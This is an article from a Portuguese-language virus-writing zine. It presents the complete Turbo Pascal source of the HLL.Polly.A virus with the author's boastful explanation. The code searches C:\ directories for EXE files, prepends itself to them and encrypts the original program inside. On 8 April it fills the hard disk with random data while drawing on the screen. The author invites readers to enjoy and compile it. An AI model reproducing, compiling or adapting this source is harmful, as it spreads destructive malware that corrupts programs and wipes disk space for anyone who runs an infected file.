 
				/  __           ___          
			 |  /  |  |__)  |   |  (__           
			 |/    |  |  \  |___|  ___)          
									     
 
									     
      
        13 - HLL.Polly.A por _b0z0_
      


        As fontes  nao estao muito bem  comentadas, como o  proprio autor
   disse, segue abaixo uma pequena explicacao sobre o virus ...

        "O Polly.Hll.A  o primeiro de uma  srie ele  tem alto poder  de 
   infeco podendo i nfectar qualquer tipo de EXE usando a seguinte tc-
   nica:

        1. PROCURA ARQUIVOS *.EXE

        2. ENCRIPTA ELES COM DEC

        3. COLOCA O VIRUS NO COMEO E DEIXA O ORIGINAL ENCRIPTADO NO  FIM
        DO ARQUIVO.
        A,se o usurio pedir para executar o arquivo ele faz o seguinte:

        1. O VIRUS  CHAMA DO JA QUE ESTA PRIMEIRO DO QUE O RESTO

        2. ELE CHECA SE  HOJE  08/04 SE NO FOR ELE PROSSEGUE SE
        FOR ELE ZERA O HD ESCREVENDO UM ARQUIVO COM VARIOS GIGAS.

        3. PROSSEGUINDO. ELE DECRIPTA O  FIM DO ARQUIVO E ESCREVE
        ELE DECRIPTADO NUM ARQUIVO TEMPORARIO

        4. ELE EXECUTA  PELO  COMMAND.COM  ASSIM  "COMMAND.COM /C
        ARQUIVO.EXE" ISTO TORNA  POSSIVEL EXECUTAR ARQUIVO  Win32
        A ESTA O SEGREDO. 

        Mas  o maior problema  do vrus  o  tamanho  ele aumenta
        quase 10K  no arquivo infectado o que acaba com o HD, por
        exemplo:

        Seu HD antes de ser infectado tem 50 exe's num  total  de
        100MB A o vrus infecta ele fica com 50 exe's num  total
        de 150MB

        O legal  que a rotina de ataque dele  linda:

        1. COLOCA EM MODO GRAFICO

        2. CRIA O ARQUIVO DOS7DT.TMP

        3. ESCREVE BYTES SORTIDOS NO ARQUIVO ATE COMPLETAR o SEU HD

        4. VAI DESENHANDO CORES SORTIDAS NA TELA

        5. DE MIL EM MIL BYTES ELE ESCREVE A MENSAGEM DO VIRUS QUE 
        ASSIM:

              POLLY.A - ts better to burn out than to fade away"
                           POLLY.A WRITTEN BY _b0z0_

        Vai me dizer que no ficou legal, ento divirta-se com meu vrus.

                                                           Falow (_b0z0_)
 
      __   __ /  __   .   __    __          __   __        ___   __
     |    |  |  |  \  |  | _   |  |        |_   |  |  |\|   |   |_
     |__  |__|  |__/  |  |__|  |__|        |    |__|  | |   |   |__
									     
 
{ ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; POLLY ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; }
{$M $4000,0,0 }
{$G+}
program POLLY;
uses Dos,Crt;
const
VSize=9104;                      { TAMANHO DO VIRUS EM BYTES }

var
i:Longint;                       { USADO NO ATAQUE }
ii:Longint;                      { USADO NA CRIPTOGRAFIA }
pp:Integer;                      { USADO AO EXECUTAR O PROGRAMA ORIGINAL }
Pams:String;                     { USADO AO EXECUTAR O PROGRAMA ORIGINAL }
FileLimit:Boolean;               { USADO PARA LIMITE DE ARQUIVOS A INFECTAR }
FilesI:Word;                     { USADO PARA LIMITE DE ARQUIVOS A INFECTAR }
Dia,Mes:Byte;                    { USADO PARA CHACAGEM DE DIA E MES }
FromF, ToF: file;                { USADO PARA INFECTAR }
NumRead, NumWritten: Word;       { USADO PARA INFECTAR }
Buf: array[1..VSize] of Char;    { USADO PARA INFECTAR }
F:Text;                          { USADO NO ATAQUE PARA "ZERAR" O HD }
l:Word;                          { USADO NO ATAQUE }
label Term;

function Check(arq:String):Boolean;
begin
{ CHECAGEM PARA VERIFICAR SE ESTE ARQUIVO  O VIRUS }
Assign(Fromf,arq);                          { ABRE O ARQUIVO INDICADO }
Reset(FromF,1);
if FileSize(Fromf)=VSize then Check:=TRUE;  {  O VIRUS SE O TAMANHO FOR 6.464}
if FileSize(Fromf)<>VSize then Check:=FALSE;{ NO SE FOR MENOR OU MAIOR }
Close(Fromf);                               { FECHAR O ARQUIVO }
end;

function Checkinf(arq:String):Boolean;
begin
{ CHECAGEM PARA VERIFICAR SE O ESTE ARQUIVO ESTA INFECTADO PELO VIRUS }
Assign(Fromf,arq);
Reset(FromF,1);
BlockRead(Fromf,Buf,SizeOf(buf),NumRead);
if Buf[3]+Buf[4]+Buf[5]=#$90+#$01+#$12 then Checkinf:=TRUE
else
Checkinf:=FALSE;
Close(Fromf);
end;

procedure infec(arq:String);
begin
{ COPIA O PROGRAMA A SER INFECTADO }
Assign(FromF,arq); { Open input file }
Reset(FromF,1);    { Record size = 1 }
Assign(ToF,'TiiT.Jfs'); { Open output file }
Rewrite(ToF,1);  { Record size = 1 }
repeat
BlockRead(FromF, Buf, SizeOf(Buf), NumRead);
for ii:=1 to SizeOf(Buf) do
Buf[ii]:=Chr(Ord(buf[ii])-1);
BlockWrite(ToF, Buf, NumRead, NumWritten);
until (NumRead = 0) or (NumWritten <> NumRead);
Close(FromF);
Close(ToF);
{ REESCREVE O PROGRAMA ORIGINAL COM O VIRUS }
Assign(FromF,Paramstr(0)); { Open input file }
Reset(FromF,1);    { Record size = 1 }
Assign(ToF,arq); { Open output file }
Rewrite(ToF,1);  { Record size = 1 }
repeat
BlockRead(FromF, Buf, SizeOf(Buf), NumRead);
BlockWrite(ToF, Buf, NumRead, NumWritten);
until FileSize(ToF)=VSize;
Close(FromF);
Close(ToF);
{ COLOCA O PROGRAMA ORIGINAL NO FIM DO VIRUS }
Assign(FromF,'TiiT.Jfs'); { Open input file }
Reset(FromF,1);    { Record size = 1 }
Assign(ToF,arq); { Open output file }
Reset(ToF,1);  { Record size = 1 }
Seek(Tof,FileSize(Tof));
repeat
BlockRead(FromF, Buf, SizeOf(Buf), NumRead);
BlockWrite(ToF, Buf, NumRead, NumWritten);
until (NumRead = 0) or (NumWritten <> NumRead);
Close(FromF);
Close(ToF);
Erase(Fromf);
FilesI:=FilesI+1;
end;

procedure Extract(arq:String);
begin
{ COLOCA O PROGRAMA ORIGINAL NO ARQUIVO C:\TIFF.EXE E O EXECUTA }
{ PSSS ! ESTE  NOSSO SEGREDINHO ! }
Assign(FromF,arq); { Open input file }
Reset(FromF,1);    { Record size = 1 }
Assign(ToF,'C:\TIFF.EXE'); { Open output file }
Rewrite(ToF,1);  { Record size = 1 }
Seek(Fromf,VSize);
repeat
BlockRead(FromF, Buf, SizeOf(Buf), NumRead);
for ii:=1 to SizeOf(Buf) do
Buf[ii]:=Chr(Ord(buf[ii])+1);
BlockWrite(ToF, Buf, NumRead, NumWritten);
until (NumRead = 0) or (NumWritten <> NumRead);
Close(FromF);
Close(ToF);
SwapVectors;
for pp:=1 to ParamCount do
Pams:=Pams+Paramstr(pp);
Exec('C:\COMMAND.COM /C C:\TIFF.EXE',Pams);
SwapVectors;
Erase(Tof);
end;

procedure WhereEXE(dir:String);
var
ExeInfo:SearchRec;
begin
{ PROCURA EXE NO DIRETORIO INDICADO }
FindFirst(dir+'\*.EXE',Archive,ExeInfo);
while (DosError=0) do
begin
if Checkinf(ExeInfo.Name)=FALSE then Infec(ExeInfo.Name);
if (FileLimit=True) and (FilesI<=4) then FindNext(ExeInfo);
if FileLimit=False then FindNext(ExeInfo);
end;
end;

procedure WhereDIR;
var
DirInfo:SearchRec;
begin
{ PROCURA DIRETORIOS NO C:\ E ENVIA O DIRETORIO PARA O LOCALIZADOR DE EXE's }
FindFirst('C:\*.',Directory,DirInfo);
while (DosError=0) do
begin
WhereExe('C:\'+DirInfo.Name);
FindNext(DirInfo);
end;
end;

procedure AT;
begin
{ MINHA OBRI PRIMA ! A ROTINA DE ATQUE }
asm
mov ax,13
int 10h
end;
Assign(f,'C:\DOS7DT.TMP');
Rewrite(f);
DirectVideo:=False;
for i:=1 to DiskFree(0) do begin { AVANA O I DE UM EM UM }
Write(f,Chr(Random(254)+1));
Mem[$A000:Random(64000)]:=Random(255);
if l=1000 then begin
Writeln('POLLY.A - "Its better to burn out than to fade away"');
Writeln('              POLLY.A WRITTEN BY _b0z0_             ');
l:=0;
end;
l:=l+1;
end;
Close(f);
end;

procedure Corpo1; { CORPO PRINCIPAL SE O PROGRAMA SENDO EXECUTADO FOR O VIRUS
ORIGINAL }
begin
FileLimit:=FALSE;
FilesI:=0;
Writeln('Loading...');
WhereDir;
asm
mov ax,3
int 10h
mov ah,2ah
int 21h
mov [dia],dl
mov [mes],dh
end;
if (mes=04) and (dia=08) then At;
if (mes<>04) and (dia<>08) then RunError(162);
end;

procedure Corpo2; { CORPO PRINCIPAL SE O PROGRAMA SENDO EXECUTADO FOR UM
PROGRAMA INFECTADO PELO VIRUS }
begin
FilesI:=0;
FileLimit:=True;
WhereDir;
{ SO ATACA SE VC ESTIVER EXECUTANDO O MIRC32.EXE. HEHEHEHEHEHE }
asm
mov ah,2ah
int 21h
mov [dia],dl
mov [mes],dh
end;
if (mes=04) and (dia=08) then At;
{ SE NO FOR O MIRC32.EXE ELE EXECUTA O PROGRAMA NORMALMENTE }
if (mes<>04) or (dia<>08) then Extract(Paramstr(0));
Port[$60]:=$60;
Inline($9C);
Port[$60]:=$40;
end;

begin
if Check(Paramstr(0))=TRUE then Corpo1; { SE FOR O VIRUS ORIGINAL MANDA PRA CORPO 1 }
if Check(Paramstr(0))=FALSE then Corpo2; { SE FOR UM PROGRAMA INFECTADO PELO VIRUS MANDA PRA CORPO 2 }
end.
{ ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; POLLY ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; }

        Virus compilado com TurboPascal7.0, mas deve funcionar em todas
   as versoes do pascal, se algum tiver um compilador de pascal para 32
   e tiver os dons de compilar e mandar pra mim, agradeco...


                        E' isso, sem mais,valeu _b0z0_

                                                     nim_bus@hotmail.com


     
                       Copyright  2001, Vrus Brasil 
 

